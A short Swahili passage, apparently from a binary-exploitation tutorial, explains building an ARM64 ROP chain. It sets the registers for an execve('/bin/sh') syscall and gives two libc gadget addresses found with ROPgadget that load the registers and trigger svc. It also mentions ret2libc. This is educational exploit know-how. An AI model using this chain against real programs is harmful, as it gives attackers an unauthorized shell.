Ili kuandaa wito wa syscall inahitajika usanidi ufuatao:
x8: 221 Specify sys_execve
x0: ptr to "/bin/sh" specify file to execute
x1: 0 specify no arguments passed
x2: 0 specify no environment variables passed
Kwa kutumia ROPgadget.py niliweza kupata vifaa vifuatavyo katika maktaba ya libc ya mashine:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Kwa kutumia vifaa vya awali tunaweza kudhibiti usajili wote unaohitajika kutoka kwenye stack na kutumia x5 kuruka kwenye kifaa cha pili ili kuita syscall.
Kumbuka kwamba kujua habari hii kutoka kwenye maktaba ya libc pia inaruhusu kufanya shambulio la ret2libc, lakini hebu tuitumie kwa mfano huu wa sasa.